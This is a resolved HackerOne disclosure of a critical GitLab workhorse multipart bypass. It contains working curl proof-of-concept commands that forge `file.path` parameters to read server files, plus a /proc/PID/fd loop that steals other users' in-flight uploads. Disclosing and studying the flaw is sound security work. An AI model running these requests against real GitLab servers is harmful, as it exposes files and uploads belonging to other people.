gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read
Critical
G
GitLab
Submitted None
Actions:
Reported by
vakzz
Vulnerability Details
Technical details and impact analysis
### Summary
Extracted from https://hackerone.com/reports/835455#activity-7672566
While testing and looking at the patch for the nuget package workhorse bypass (https://gitlab.com/gitlab-org/gitlab/issues/209080 I think) I came across a more widespread bypass:
```bash
# create test file on gitlab server
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg
# attacker
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:[email protected]/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"
{"message":"201 Created"}
```
Using `[package]` as the field name causes the `@rewritten_fields` to contain:
```json
{
"rewritten_fields": {
"[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"
},
"iss": "gitlab-workhorse"
}
```
This is then used `parsed_field = Rack::Utils.parse_nested_query(field)` which ends up creating the hash `{"package"=>nil}` (same as package would return). This passes the validation, but the `Multipart::Handler` will then use the query params as they match instead of the payload that workhorse sends through.
This also allows for any file in the following to be accessed:
```ruby
def allowed_paths
[
::FileUploader.root,
Gitlab.config.uploads.storage_path,
JobArtifactUploader.workhorse_upload_path,
File.join(Rails.root, 'public/uploads/tmp')
]
end
```
This could be done anywhere that accelerated uploads, eg the `UploadsController` or uploading a wiki file.
Using the wiki api removes the restriction that the file needs to be owned by `git` due to `file_content: attrs[:file].read` happening instead of moving the original file:
```bash
echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'
{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
```
It's also fairly easy to steal incoming files tmp files that are currently opened in rails by:
1. Determine a valid PID by looping over `/proc/PID` until a `cwd` is found and readable by `git` (eg the `unicorn` worker will have `/proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working`) and traverse to a valid upload path:
```bash
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
500
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
201
```
1. Using this pid, use `/proc/PID/fd/XX` as the `file.path` (looking at my server a fd of 44 was the used pretty consistently for tmp files) and run it in a loop:
```bash
$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done
```
1. Upload a bunch of things, eventually a file will be stolen:
```json
{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"[image.png115893730](uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730)"}}
```
### Steps to reproduce
1. create a new project
1. create a wiki page
1. create a test file on the gitlab server: `echo hello > /tmp/ggg;`
1. create a dummy file on the attackers server `echo unused > /tmp/lala.txt`
1. Upload a wiki file using the crafted params
```bash
$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'`
{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
```
1. paste the markdown into the wiki page and download the file
### Impact
* read known files in `::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')`
* read unknown inflight files by using the symlinks in `/proc/PID/fd/XX` belonging to other users.
### Examples
* https://gitlab.com/vakzz-h1/workhorse-bypass/-/wikis/home
The above was uploaded using `file.path=/opt/gitlab/embedded/service/gitlab-rails/public/422.html` to verify.
### What is the current *bug* behavior?
An attacker can specify `file.*` params and have gitlab believe they are valid and signed
### What is the expected *correct* behavior?
Only params from the workhorse should be valid
### Output of checks
#### Results of GitLab environment info
```
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.3-ee
Revision: 7c13691fb8e
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: [email protected]:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
```
## Impact
* read known files in `::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')`
* read unknown inflight files by using the symlinks in `/proc/PID/fd/XX` belonging to other users.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$10000.00
Submitted
Weakness
Information Disclosure